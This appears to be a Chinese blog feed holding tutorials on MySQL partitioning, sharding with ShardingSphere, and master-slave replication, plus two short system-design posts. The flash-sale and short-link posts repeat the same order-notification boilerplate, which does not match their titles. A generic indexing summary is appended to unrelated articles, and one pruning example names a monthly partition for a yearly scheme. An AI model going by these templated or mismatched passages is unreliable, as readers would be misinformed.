跨分区查询自动支持应用层实现
扩展性受单实例限制可跨实例
维护复杂度低高
性能上限单实例上限可线性扩展

二、分区类型

#

2.1 RANGE分区

按连续范围分区，最常用：

CREATE TABLE logs (
    id BIGINT AUTO_INCREMENT,
    log_time DATETIME NOT NULL,
    message VARCHAR(500),
    PRIMARY KEY (id, log_time)
) PARTITION BY RANGE (YEAR(log_time)) (
    PARTITION p2022 VALUES LESS THAN (2023),
    PARTITION p2023 VALUES LESS THAN (2024),
    PARTITION p2024 VALUES LESS THAN (2025),
    PARTITION p_future VALUES LESS THAN MAXVALUE
);

适用场景：

  • 时间序列数据（日志、订单、监控数据）
  • 按日期归档和清理

#

2.2 LIST分区

按离散值分区：

CREATE TABLE user (
    id INT,
    region VARCHAR(20),
    name VARCHAR(50)
) PARTITION BY LIST COLUMNS(region) (
    PARTITION p_north VALUES IN ('北京', '天津', '河北'),
    PARTITION p_east VALUES IN ('上海', '江苏', '浙江'),
    PARTITION p_south VALUES IN ('广东', '福建', '海南'),
    PARTITION p_other VALUES IN (DEFAULT)
);

适用场景：

  • 按地区、状态等离散值分组
  • 数据有明显分类特征

#

2.3 HASH分区

按哈希值均匀分布：

CREATE TABLE orders (
    order_id BIGINT,
    user_id BIGINT,
    amount DECIMAL(10,2)
) PARTITION BY HASH(user_id) PARTITIONS 8;

适用场景：

  • 数据分布要求均匀
  • 没有明显的时间或分类特征

#

2.4 KEY分区

类似HASH，但使用MySQL内置哈希函数：

CREATE TABLE user (
    id INT,
    name VARCHAR(50)
) PARTITION BY KEY() PARTITIONS 4;

#

2.5 子分区（复合分区）

先按RANGE分区，再按HASH子分区：

CREATE TABLE logs (
    id BIGINT,
    log_time DATETIME,
    message TEXT
) PARTITION BY RANGE (YEAR(log_time))
SUBPARTITION BY HASH(MONTH(log_time))
SUBPARTITIONS 12 (
    PARTITION p2023 VALUES LESS THAN (2024),
    PARTITION p2024 VALUES LESS THAN (2025)
);

三、分区表的优势

#

3.1 查询优化

分区裁剪（Partition Pruning）：

SELECT * FROM logs WHERE log_time >= '2024-01-01' AND log_time < '2024-02-01';

MySQL自动只扫描p202401分区，其他分区不读。

验证裁剪：

EXPLAIN PARTITIONS SELECT * FROM logs 
WHERE log_time >= '2024-01-01' AND log_time < '2024-02-01';
-- partitions列显示: p202401

#

3.2 快速删除

-- 传统方式：DELETE需要逐行删除，写大量undo log
DELETE FROM logs WHERE log_time < '2023-01-01';

-- 分区方式：直接删除分区文件，瞬间完成
ALTER TABLE logs DROP PARTITION p2022;

#

3.3 高效归档

-- 导出分区数据
ALTER TABLE logs EXCHANGE PARTITION p2023 WITH TABLE logs_archive_2023;

-- 归档表可以单独存储到慢速磁盘
CREATE TABLE logs_archive_2023 (...) TABLESPACE = archive_ts;

#

3.4 独立维护

-- 单独优化某个分区
ALTER TABLE logs OPTIMIZE PARTITION p2024;

-- 单独重建某个分区
ALTER TABLE logs REBUILD PARTITION p2024;

-- 单独分析某个分区
ALTER TABLE logs ANALYZE PARTITION p2024;

四、分区表的使用限制

#

4.1 主键和唯一索引限制

分区键必须是主键/唯一索引的一部分：

-- 正确：分区键log_time是主键的一部分
CREATE TABLE logs (
    id BIGINT,
    log_time DATETIME,
    PRIMARY KEY (id, log_time)
) PARTITION BY RANGE (YEAR(log_time)) ...

-- 错误：分区键不是主键的一部分
CREATE TABLE logs (
    id BIGINT PRIMARY KEY,
    log_time DATETIME
) PARTITION BY RANGE (YEAR(log_time)) ...
-- ERROR 1503: A PRIMARY KEY must include all columns in the table's partitioning function

#

4.2 外键限制

分区表不支持外键：

-- 错误
CREATE TABLE orders (...) PARTITION BY RANGE ...
FOREIGN KEY (user_id) REFERENCES user(id);
-- ERROR 1217: Cannot add foreign key constraint

#

4.3 函数限制

分区表达式中可用的函数有限：

-- 允许：YEAR(), TO_DAYS(), TO_SECONDS(), MONTH(), ...
PARTITION BY RANGE (YEAR(log_time))

-- 不允许：自定义函数
PARTITION BY RANGE (my_func(log_time))  -- 错误

#

4.4 性能限制

  • 分区过多（>100）影响性能
  • 非分区键查询需要扫描所有分区
  • 分区表打开文件数增加

五、分区表实践案例

#

5.1 日志表按月分区

CREATE TABLE system_logs (
    id BIGINT UNSIGNED AUTO_INCREMENT,
    create_time DATETIME NOT NULL,
    level VARCHAR(10) NOT NULL,
    module VARCHAR(50),
    message TEXT,
    PRIMARY KEY (id, create_time),
    KEY idx_level_time (level, create_time)
) ENGINE=InnoDB
PARTITION BY RANGE (TO_DAYS(create_time)) (
    PARTITION p202401 VALUES LESS THAN (TO_DAYS('2024-02-01')),
    PARTITION p202402 VALUES LESS THAN (TO_DAYS('2024-03-01')),
    PARTITION p202403 VALUES LESS THAN (TO_DAYS('2024-04-01')),
    PARTITION p_future VALUES LESS THAN MAXVALUE
);

#

5.2 自动维护脚本

-- 每月初添加新分区
DELIMITER //
CREATE PROCEDURE add_month_partition()
BEGIN
    DECLARE next_month DATE;
    DECLARE partition_name VARCHAR(20);
    DECLARE less_than_value INT;
    
    SET next_month = DATE_ADD(DATE_FORMAT(CURDATE() + INTERVAL 1 MONTH, '%Y-%m-01'), INTERVAL 1 MONTH);
    SET partition_name = CONCAT('p', DATE_FORMAT(CURDATE() + INTERVAL 1 MONTH, '%Y%m'));
    SET less_than_value = TO_DAYS(next_month);
    
    SET @sql = CONCAT(
        'ALTER TABLE system_logs REORGANIZE PARTITION p_future INTO (
            PARTITION ', partition_name, ' VALUES LESS THAN (', less_than_value, '),
            PARTITION p_future VALUES LESS THAN MAXVALUE
        )'
    );
    
    PREPARE stmt FROM @sql;
    EXECUTE stmt;
    DEALLOCATE PREPARE stmt;
END //
DELIMITER ;

-- 创建定时事件
CREATE EVENT add_partition_event
ON SCHEDULE EVERY 1 MONTH
STARTS '2024-02-01 00:00:00'
DO CALL add_month_partition();

#

5.3 定期清理旧分区

-- 删除3个月前的分区
DELIMITER //
CREATE PROCEDURE drop_old_partitions()
BEGIN
    DECLARE done INT DEFAULT FALSE;
    DECLARE partition_name VARCHAR(20);
    DECLARE cur CURSOR FOR 
        SELECT partition_name 
        FROM information_schema.partitions 
        WHERE table_name = 'system_logs' 
        AND partition_name != 'p_future'
        AND partition_name < CONCAT('p', DATE_FORMAT(CURDATE() - INTERVAL 3 MONTH, '%Y%m'));
    DECLARE CONTINUE HANDLER FOR NOT FOUND SET done = TRUE;
    
    OPEN cur;
    read_loop: LOOP
        FETCH cur INTO partition_name;
        IF done THEN
            LEAVE read_loop;
        END IF;
        
        SET @sql = CONCAT('ALTER TABLE system_logs DROP PARTITION ', partition_name);
        PREPARE stmt FROM @sql;
        EXECUTE stmt;
        DEALLOCATE PREPARE stmt;
    END LOOP;
    CLOSE cur;
END //
DELIMITER ;

六、分区表性能优化

#

6.1 选择合适的分区数

  • 建议分区数：10-100
  • 过多分区增加管理开销
  • 过少分区失去分区意义

#

6.2 确保查询能裁剪

-- 能裁剪（直接比较分区键）
WHERE create_time >= '2024-01-01' AND create_time < '2024-02-01'

-- 不能裁剪（函数操作）
WHERE DATE(create_time) = '2024-01-01'

-- 能裁剪（等效写法）
WHERE create_time >= '2024-01-01 00:00:00' 
  AND create_time < '2024-01-02 00:00:00'

#

6.3 分区键选择

-- 好的选择：查询条件中最常用的列
-- 日志表：按时间分区
-- 订单表：按用户ID哈希分区或按时间RANGE分区

-- 不好的选择：经常更新的列
-- 避免选择会被UPDATE的列作为分区键

七、分区表监控

#

7.1 查看分区信息

-- 查看表的分区情况
SELECT 
    partition_name,
    partition_method,
    partition_expression,
    table_rows,
    data_length,
    index_length
FROM information_schema.partitions
WHERE table_name = 'system_logs'
ORDER BY partition_name;

-- 查看分区裁剪情况
EXPLAIN PARTITIONS SELECT * FROM system_logs WHERE create_time >= '2024-01-01';

#

7.2 分区大小监控

SELECT 
    partition_name,
    ROUND(data_length / 1024 / 1024, 2) AS data_mb,
    ROUND(index_length / 1024 / 1024, 2) AS index_mb,
    table_rows
FROM information_schema.partitions
WHERE table_name = 'system_logs'
ORDER BY data_length DESC;

八、分区表 vs 分库分表选择

场景推荐方案
单表5000万-5亿数据分区表
单表超过5亿数据分库分表
主要按时间查询分区表（RANGE）
需要跨实例扩展分库分表
简单归档需求分区表
超高并发写入分库分表

九、总结

分区类型适用场景特点
RANGE时间序列数据方便按时间归档
LIST离散分类数据按地区、状态等分组
HASH均匀分布避免热点
KEY简单均匀分布MySQL自动哈希

分区表的核心价值：

  1. 透明性：应用无需改造
  2. 查询优化：分区裁剪减少扫描
  3. 维护便利：快速删除和归档
  4. 适度扩展：单实例内的水平扩展

使用分区表前，务必确认：

  • 分区键选择合理
  • 查询能利用分区裁剪
  • 了解并接受分区限制
  • 建立分区维护机制

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL MySQL 数据库 秒杀系统的核心设计思路 //miao-sha-xi-tong-de-he-xin-she-ji-si-lu/ 秒杀系统的核心设计思路

秒杀系统的核心在于限流、削峰和防重。本文讲它的整体设计思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 MySQL分库分表策略 //mysql-sharding-strategy/ MySQL分库分表策略

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、为什么需要分库分表

#

1.1 单库瓶颈

瓶颈类型具体表现临界值（参考）
数据量查询和索引维护变慢5000万-1亿行
并发连接连接数耗尽1000-2000连接
写入性能写入延迟增加5000-10000 TPS
存储容量磁盘空间不足1-2TB

#

1.2 分库 vs 分表

分表：解决单表数据量过大问题

  • 同一数据库中，表拆分为多张结构相同的表
  • user → user_0, user_1, user_2

分库：解决单库性能瓶颈

  • 数据分布到多个数据库实例
  • 每个库可以独立部署在不同服务器

分库分表：同时解决容量和性能问题

二、拆分策略

#

2.1 垂直拆分

垂直分库：按业务模块拆分

数据库拆分前：
  一个数据库包含：user, order, product, log...

垂直分库后：
  用户库：user, user_profile, user_address
  订单库：order, order_item, payment
  商品库：product, category, inventory

垂直分表：按字段拆分

表拆分前：
  user表：id, name, avatar, bio, settings, ...（100+字段）

垂直分表后：
  user_basic：id, name, phone, email（常用字段）
  user_detail：id, avatar, bio, settings（大字段/不常用）
  user_ext：id, ext_json（扩展字段）

适用场景：

  • 垂直分库：业务耦合度低，可以独立演进
  • 垂直分表：表字段过多，冷热数据分离

#

2.2 水平拆分

水平分表：同一库内分多张表

user表 → user_0, user_1, user_2, ... user_15

水平分库：数据分布到多个库

DB0: user_0, user_1, user_2, user_3
DB1: user_4, user_5, user_6, user_7
DB2: user_8, user_9, user_10, user_11
DB3: user_12, user_13, user_14, user_15

适用场景：

  • 单表数据量超过5000万
  • 写入性能达到瓶颈

三、分片算法

#

3.1 哈希取模

// 根据userId分片
int shard = userId % 16;  // 16个分片
String tableName = "user_" + shard;

优点：

  • 数据分布均匀
  • 写入分散，避免热点

缺点：

  • 扩容需要迁移数据（2倍扩容）
  • 无法范围查询

#

3.2 范围分片

// 按时间或ID范围
if (userId >= 0 && userId < 1000000) {
    table = "user_0";
} else if (userId < 2000000) {
    table = "user_1";
}

优点：

  • 扩容简单，增加新分片即可
  • 支持范围查询

缺点：

  • 可能造成数据倾斜（新数据集中在最后一个分片）
  • 热点问题

#

3.3 一致性哈希

// 使用TreeMap实现一致性哈希
TreeMap<Long, String> virtualNodes = new TreeMap<>();

// 每个物理节点创建160个虚拟节点
for (String node : physicalNodes) {
    for (int i = 0; i < 160; i++) {
        long hash = hash(node + "#" + i);
        virtualNodes.put(hash, node);
    }
}

// 查找数据所属节点
long hash = hash(key);
Map.Entry<Long, String> entry = virtualNodes.ceilingEntry(hash);
if (entry == null) {
    entry = virtualNodes.firstEntry();
}
String node = entry.getValue();

优点：

  • 扩容时只影响少量数据

缺点：

  • 实现复杂
  • 虚拟节点增加内存开销

#

3.4 分片算法对比

算法数据分布扩容成本范围查询热点问题
哈希取模均匀高不支持无
范围分片可能倾斜低支持可能有
一致性哈希较均匀低不支持无

#

3.5 分片键选择

选择原则：

  1. 高频查询条件：大部分查询都能命中分片键
  2. 数据均匀：避免数据倾斜
  3. 业务无关：尽量不使用业务含义强的字段

常见选择：

  • 用户ID
  • 订单ID（雪花算法）
  • 租户ID（SaaS系统）

四、ShardingSphere实践

#

4.1 引入依赖

<dependency>
    <groupId>org.apache.shardingsphere</groupId>
    <artifactId>shardingsphere-jdbc-core</artifactId>
    <version>5.4.0</version>
</dependency>

#

4.2 配置分库分表

# application-sharding.yml
dataSources:
  ds_0:
    url: jdbc:mysql://localhost:3306/db0
    username: root
    password: password
  ds_1:
    url: jdbc:mysql://localhost:3306/db1
    username: root
    password: password

rules:
- !SHARDING
  tables:
    user:
      actualDataNodes: ds_${0..1}.user_${0..15}
      tableStrategy:
        standard:
          shardingColumn: user_id
          shardingAlgorithmName: user_table_hash
      databaseStrategy:
        standard:
          shardingColumn: user_id
          shardingAlgorithmName: user_database_hash
  shardingAlgorithms:
    user_table_hash:
      type: INLINE
      props:
        algorithm-expression: user_${user_id % 16}
    user_database_hash:
      type: INLINE
      props:
        algorithm-expression: ds_${user_id % 2}
  keyGenerators:
    snowflake:
      type: SNOWFLAKE

#

4.3 代码中使用

@Service
public class UserService {
    
    @Autowired
    private UserMapper userMapper;
    
    public User getUser(Long userId) {
        // ShardingSphere自动路由到对应分片
        return userMapper.selectById(userId);
    }
    
    public void createUser(User user) {
        // 使用雪花算法生成分布式ID
        user.setUserId(IdWorker.getId());
        userMapper.insert(user);
    }
}

#

4.4 绑定表

具有关联关系的表使用相同分片策略：

bindingTables:
  - order,order_item

这样order和order_item会路由到相同的分片，避免跨库JOIN。

五、分库分表后的问题

#

5.1 分布式主键

方案一：雪花算法

public class SnowflakeIdWorker {
    
    private long workerId;      // 机器ID
    private long datacenterId;  // 数据中心ID
    private long sequence = 0;  // 序列号
    
    public synchronized long nextId() {
        long timestamp = System.currentTimeMillis();
        
        if (timestamp < lastTimestamp) {
            throw new RuntimeException("Clock moved backwards");
        }
        
        if (timestamp == lastTimestamp) {
            sequence = (sequence + 1) & 4095;  // 12位序列号
            if (sequence == 0) {
                timestamp = tilNextMillis(lastTimestamp);
            }
        } else {
            sequence = 0;
        }
        
        lastTimestamp = timestamp;
        
        return ((timestamp - EPOCH) << 22)
             | (datacenterId << 17)
             | (workerId << 12)
             | sequence;
    }
}

方案二：号段模式

-- 发号器表
CREATE TABLE id_generator (
    biz_tag VARCHAR(32) PRIMARY KEY,
    max_id BIGINT NOT NULL,
    step INT NOT NULL,
    description VARCHAR(255)
);

-- 每次从数据库取一段ID缓存在内存中

#

5.2 跨分片查询

分页查询问题：

-- 原SQL
SELECT * FROM user ORDER BY create_time LIMIT 100000, 10;

分片后需要：

  1. 在每个分片执行LIMIT 100000, 10
  2. 汇总结果排序
  3. 取最终的10条

优化方案：

  • 限制深分页
  • 使用游标分页（每次带查询条件）
  • 建立全局索引表

#

5.3 跨分片JOIN

问题：分片键不同的表JOIN需要跨库查询

解决方案：

  1. 绑定表：关联表使用相同分片策略
  2. 字段冗余：在需要JOIN的表中冗余字段
  3. 全局表：小表在每个分片都存一份
  4. 应用层组装：分别查询后在代码中JOIN

#

5.4 事务一致性

问题：跨分片事务无法使用本地事务

解决方案：

  1. 最终一致性：使用消息队列
  2. Seata分布式事务
  3. Saga模式：补偿事务
  4. 避免跨分片事务：通过业务设计规避
// Seata分布式事务示例
@GlobalTransactional
public void createOrder(Order order) {
    // 操作订单库
    orderMapper.insert(order);
    
    // 操作库存库
    inventoryService.deduct(order.getProductId(), order.getQuantity());
    
    // 操作用户库
    userService.deductBalance(order.getUserId(), order.getAmount());
}

#

5.5 数据迁移

平滑迁移方案：

  1. 双写阶段：应用同时写入旧库和新分片
  2. 数据同步：使用 Canal 等工具同步历史数据
  3. 数据校验：对比旧库和新分片数据
  4. 切换读流量：先切换部分读流量到新分片
  5. 切换写流量：确认无误后切写流量
  6. 下线旧库：观察一段时间，下线旧库

六、分库分表示例设计

#

6.1 电商系统分片设计

用户模块（分库分表）：
  DB: user_0, user_1
  Table: user_0 ~ user_15
  分片键：user_id

订单模块（分库分表）：
  DB: order_0, order_1
  Table: order_0 ~ order_15
  分片键：user_id（按买家）或 order_id

商品模块（全局表）：
  每个库都有完整的商品数据
  Table: product

库存模块（分库）：
  DB: inventory_0, inventory_1
  分片键：product_id

#

6.2 订单表分片策略

# 订单表：按user_id分片（方便查用户订单）
# 全局索引表：按order_id → user_id 映射（方便查单号）

order:
  actualDataNodes: ds_${0..1}.order_${0..15}
  tableStrategy:
    standard:
      shardingColumn: user_id
      shardingAlgorithmName: order_hash

order_index:
  actualDataNodes: ds_${0..1}.order_index_${0..15}
  tableStrategy:
    standard:
      shardingColumn: order_id
      shardingAlgorithmName: order_index_hash

七、避免过度拆分

#

7.1 拆分前的优化

在拆分前，先尝试：

  1. 索引优化：确保查询都有合适的索引
  2. SQL优化：避免全表扫描、深分页
  3. 读写分离：主从复制分担读压力
  4. 缓存：Redis缓存热点数据
  5. 归档：历史数据归档到历史库

#

7.2 拆分的时机

满足以下条件再考虑拆分：

  • 单表数据量 > 5000万
  • 单库QPS > 5000
  • 读写分离后仍无法满足
  • 优化空间已经很小

八、总结

拆分方式解决什么问题复杂度
垂直分库业务耦合、连接数中
垂直分表字段过多、冷热数据低
水平分表单表数据量中
水平分库单库性能瓶颈高
问题解决方案
分布式ID雪花算法、号段模式
跨分片查询限制分页、全局索引
跨分片JOIN绑定表、字段冗余
事务一致性Seata、消息队列
数据迁移双写+同步+校验

分库分表是”最后的手段”。在实施前，充分评估业务需求和拆分成本，选择合适的拆分策略和中间件，做好平滑迁移方案。

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

MySQL 优化是一个持续的过程，需要结合业务特点和数据量来调整。在实际项目中，定期分析慢查询日志、优化索引、调整配置参数，都能提升数据库性能。

]]> MySQL 架构 MySQL 数据库 短链接系统如何设计 //duan-lian-jie-xi-tong-ru-he-she-ji/ 短链接系统如何设计

短链接系统是一个经典的系统设计题。本文讲它的核心思路。

先从业务问题出发

架构设计不要先问“用什么中间件”，而要先问业务目标：是要提升吞吐、解耦系统、保证最终一致，还是降低峰值压力？不同目标对应的方案完全不同。

一个典型流程

以订单创建后发送通知为例：

  1. 订单服务先保存订单。
  2. 写入消息或事件。
  3. 通知服务异步消费。
  4. 消费端做好幂等，避免重复通知。

伪代码可以这样理解：

orderService.create(order);
messageProducer.send("order.created", order.getId());

消费端必须能处理重复消息：

if (processed(messageId)) {
    return;
}
handleMessage(message);
markProcessed(messageId);

设计时要补的问题

  • 消息发送失败怎么办？
  • 消费失败是否重试？
  • 重复消费如何保证幂等？
  • 下游长时间不可用时如何降级？
]]> 系统设计 架构 系统设计 MySQL主从复制原理与配置 //mysql-master-slave-replication/ MySQL主从复制原理与配置

MySQL 是业务系统中最常见的数据库，但用好它并不容易。索引设计、SQL 优化、事务处理都是日常开发中需要关注的点。本文从实际场景出发，讲常见问题和解决思路。

一、复制架构概述

#

1.1 复制的作用

  • 读写分离：主库写，从库读，分摊压力
  • 数据备份：从库作为实时备份
  • 高可用：主库故障时切换到从库
  • 统计分析：报表查询在从库执行

#

1.2 复制模式演进

MySQL 3.23: 异步复制（Asynchronous Replication）
MySQL 5.5: 半同步复制（Semi-Synchronous Replication）
MySQL 5.6: GTID复制（Global Transaction Identifier）
MySQL 5.7: 组复制（Group Replication）
MySQL 8.0: 增强GTID、克隆插件

二、复制原理

#

2.1 核心流程

Master                      Slave
  │                           │
  │  1. 写操作               │
  │ ──────────────────────>   │
  │                           │
  │  2. 写binlog             │
  │  ┌─────────────┐         │
  │  │  binlog     │         │
  │  └─────────────┘         │
  │                           │
  │  3. Dump线程发送binlog   │
  │ ──────────────────────>   │
  │                           │ 4. I/O线程接收写入relay log
  │                           │
  │                           │ 5. SQL线程重放relay log
  │                           │

#

2.2 复制线程

主库线程：

  • Binlog Dump Thread：发送binlog给从库

从库线程：

  • I/O Thread：连接主库，接收binlog，写入relay log
  • SQL Thread：读取relay log，重放SQL

#

2.3 binlog格式

格式特点优点缺点
STATEMENT记录SQL语句日志小某些语句不一致（UUID、NOW()等）
ROW记录行变更精确、安全日志大
MIXED混合模式平衡复杂

推荐：MySQL 5.7+ 使用ROW格式

[mysqld]
binlog_format = ROW

#

2.4 复制方式

异步复制（Asynchronous）：

  • 主库写完binlog即返回，不等待从库
  • 性能最好，但存在数据延迟和丢失风险

半同步复制（Semi-Synchronous）：

  • 主库等待至少一个从库确认收到binlog
  • 平衡性能和数据安全

组复制（Group Replication）：

  • 基于Paxos协议
  • 多数节点确认才提交
  • 自动故障切换

三、异步复制配置

#

3.1 主库配置

[mysqld]
# 服务器唯一ID
server-id = 1

# 开启binlog
log-bin = mysql-bin

# binlog格式
binlog_format = ROW

# 保留binlog天数
expire_logs_days = 7

# 同步binlog到磁盘（1=每次事务，0=依赖OS，2=每秒）
sync_binlog = 1

# InnoDB redo log同步（1=每次事务）
innodb_flush_log_at_trx_commit = 1

创建复制账号：

CREATE USER 'repl'@'%' IDENTIFIED BY 'password';
GRANT REPLICATION SLAVE ON *.* TO 'repl'@'%';
FLUSH PRIVILEGES;

查看主库状态：

SHOW MASTER STATUS;
+------------------+----------+--------------+------------------+
| File             | Position | Binlog_Do_DB | Binlog_Ignore_DB |
+------------------+----------+--------------+------------------+
| mysql-bin.000001 |     154  |              |                  |
+------------------+----------+--------------+------------------+

#

3.2 从库配置

[mysqld]
server-id = 2

# relay log配置
relay-log = mysql-relay-bin

# 只读（从库推荐开启）
read_only = ON

# 不记录从库binlog（如果从库不再作为其他库的主库）
log-bin = OFF

配置主库连接：

CHANGE MASTER TO
    MASTER_HOST = 'master_host',
    MASTER_PORT = 3306,
    MASTER_USER = 'repl',
    MASTER_PASSWORD = 'password',
    MASTER_LOG_FILE = 'mysql-bin.000001',
    MASTER_LOG_POS = 154;

START SLAVE;

#

3.3 验证复制状态

SHOW SLAVE STATUS \G;

关键字段：
| 字段 | 正常状态 |
|——|———|
| Slave_IO_Running | Yes |
| Slave_SQL_Running | Yes |
| Seconds_Behind_Master | 0或较小数字 |
| Last_IO_Error | 空 |
| Last_SQL_Error | 空 |

四、GTID复制

#

4.1 什么是GTID

GTID（Global Transaction Identifier）是全局事务标识符：

GTID = source_id:transaction_id

示例：
3E11FA47-71CA-11E1-9E33-C80AA9429562:23

#

4.2 GTID优势

  • 定位方便：直接知道事务在哪个库执行
  • 切换简单：不需要指定binlog文件名和位置
  • 一致性强：避免重复执行或遗漏事务

#

4.3 GTID配置

主库和从库都需配置：

[mysqld]
server-id = 1
log-bin = mysql-bin
binlog_format = ROW

# 开启GTID
gtid_mode = ON
enforce_gtid_consistency = ON

从库配置：

CHANGE MASTER TO
    MASTER_HOST = 'master_host',
    MASTER_PORT = 3306,
    MASTER_USER = 'repl',
    MASTER_PASSWORD = 'password',
    MASTER_AUTO_POSITION = 1;  -- 使用GTID自动定位

START SLAVE;

#

4.4 GTID相关操作

-- 查看GTID状态
SHOW GLOBAL VARIABLES LIKE '%gtid%';

-- 查看已执行的GTID集合
SHOW MASTER STATUS;  -- Executed_Gtid_Set

-- 查看从库执行的GTID
SHOW SLAVE STATUS \G;  -- Retrieved_Gtid_Set, Executed_Gtid_Set

-- 跳过事务（谨慎使用）
SET GTID_NEXT='3E11FA47-71CA-11E1-9E33-C80AA9429562:23';
BEGIN; COMMIT;
SET GTID_NEXT='AUTOMATIC';

五、半同步复制

#

5.1 安装插件

-- 主库安装
INSTALL PLUGIN rpl_semi_sync_master SONAME 'semisync_master.so';

-- 从库安装
INSTALL PLUGIN rpl_semi_sync_slave SONAME 'semisync_slave.so';

#

5.2 启用半同步

-- 主库
SET GLOBAL rpl_semi_sync_master_enabled = 1;
SET GLOBAL rpl_semi_sync_master_timeout = 1000;  -- 超时1秒降级为异步

-- 从库
SET GLOBAL rpl_semi_sync_slave_enabled = 1;
STOP SLAVE IO_THREAD;
START SLAVE IO_THREAD;

#

5.3 验证半同步

-- 主库
SHOW STATUS LIKE 'Rpl_semi_sync_master_status';
SHOW STATUS LIKE 'Rpl_semi_sync_master_clients';

-- 从库
SHOW STATUS LIKE 'Rpl_semi_sync_slave_status';

六、常见复制问题

#

6.1 主从延迟

原因：

  • 从库性能差
  • 大事务
  • 锁等待
  • 单线程SQL线程（5.6之前）

查看延迟：

SHOW SLAVE STATUS \G;
-- Seconds_Behind_Master

解决方案：

  1. 并行复制（MySQL 5.6+）

    slave_parallel_type = LOGICAL_CLOCK
    slave_parallel_workers = 4

  2. 分离大事务

  3. 升级从库硬件

  4. 使用缓存减少从库读压力

#

6.2 主从数据不一致

检测：

# 使用pt-table-checksum工具
pt-table-checksum --host=master --user=root --password=xxx \
    --databases=mydb --replicate=mydb.checksums

修复：

# 使用pt-table-sync工具
pt-table-sync --execute --replicate mydb.checksums \
    h=master,u=root,p=xxx h=slave,u=root,p=xxx

#

6.3 复制中断

I/O线程中断：

SHOW SLAVE STATUS \G;
-- 查看Last_IO_Error

常见原因和解决：

  • 网络中断 → 检查网络，重启slave
  • 主库binlog被清理 → 重新同步数据
  • 权限问题 → 检查复制账号权限

SQL线程中断：

SHOW SLAVE STATUS \G;
-- 查看Last_SQL_Error

常见原因和解决：

  • 主从数据不一致 → 跳过错误事务或重新同步
  • 表不存在 → 检查是否遗漏DDL
-- 跳过错误（谨慎！）
STOP SLAVE;
SET GLOBAL SQL_SLAVE_SKIP_COUNTER = 1;
START SLAVE;

-- GTID方式跳过
STOP SLAVE;
SET GTID_NEXT='xxx:xxx';
BEGIN; COMMIT;
SET GTID_NEXT='AUTOMATIC';
START SLAVE;

#

6.4 复制过滤

# 主库（不推荐，会导致binlog不完整）
binlog-do-db = db1
binlog-ignore-db = test

# 从库
replicate-do-db = db1
replicate-ignore-db = test
replicate-do-table = db1.table1
replicate-wild-do-table = db1.%

七、读写分离实现

#

7.1 应用层实现

@Configuration
public class DataSourceConfig {
    
    @Bean
    public DataSource routingDataSource() {
        DynamicRoutingDataSource routingDataSource = new DynamicRoutingDataSource();
        
        Map<Object, Object> targetDataSources = new HashMap<>();
        targetDataSources.put("master", masterDataSource());
        targetDataSources.put("slave", slaveDataSource());
        
        routingDataSource.setTargetDataSources(targetDataSources);
        routingDataSource.setDefaultTargetDataSource(masterDataSource());
        
        return routingDataSource;
    }
}

// 注解切换数据源
@Target({ElementType.METHOD, ElementType.TYPE})
@Retention(RetentionPolicy.RUNTIME)
public @interface DataSource {
    String value() default "master";
}

// 使用
@DataSource("slave")
public List<User> getUsers() {
    return userMapper.selectAll();
}

#

7.2 中间件方案

中间件特点
MyCat功能全面，配置复杂
ShardingSphereApache项目，生态好
ProxySQL轻量级，性能好
MaxScaleMariaDB官方

#

7.3 延迟处理

@Service
public class OrderService {
    
    public void createOrder(Order order) {
        // 写主库
        orderMapper.insert(order);
        
        // 强制走主库查询（避免延迟）
        Order freshOrder = orderMapper.selectByIdFromMaster(order.getId());
        
        // 缓存预热
        cache.put(order.getId(), freshOrder);
    }
}

八、复制监控

#

8.1 关键监控指标

-- 复制延迟
SHOW SLAVE STATUS \G;

-- 复制线程状态
SELECT 
    THREAD_ID,
    NAME,
    PROCESSLIST_COMMAND,
    PROCESSLIST_STATE
FROM performance_schema.threads 
WHERE NAME LIKE '%slave%';

-- binlog大小和增长
SHOW MASTER LOGS;

#

8.2 自动化监控脚本

#!/bin/bash
# check_replication.sh

DELAY=$(mysql -e "SHOW SLAVE STATUS\G" | grep "Seconds_Behind_Master" | awk '{print $2}')

if [ "$DELAY" = "NULL" ] || [ "$DELAY" -gt 60 ]; then
    echo "复制异常，延迟: ${DELAY}秒" | mail -s "MySQL复制告警" dba@company.com
fi

九、总结

复制模式数据安全性能适用场景
异步复制低高读扩展、备份
半同步复制中中一般生产环境
组复制高低金融级高可用
配置项建议
binlog_formatROW
sync_binlog1（半同步）/ 1000（异步）
gtid_modeON
read_only从库开启
slave_parallel_workersCPU核数的一半

主从复制的核心要点：

  1. 选择合适的复制模式（异步/半同步/GTID）
  2. 监控复制延迟，及时发现和处理问题
  3. 合理设计读写分离策略
  4. 定期校验主从数据一致性

核心要点

  1. 索引设计的原则：最左前缀原则、避免索引列参与计算、选择合适的索引类型

  2. SQL 优化的方法：使用 EXPLAIN 分析执行计划、避免 SELECT *、优化 JOIN

  3. 事务隔离级别的选择：根据业务需求选择合适的级别

  4. 常见的锁问题：行锁、表锁、死锁的处理

总结

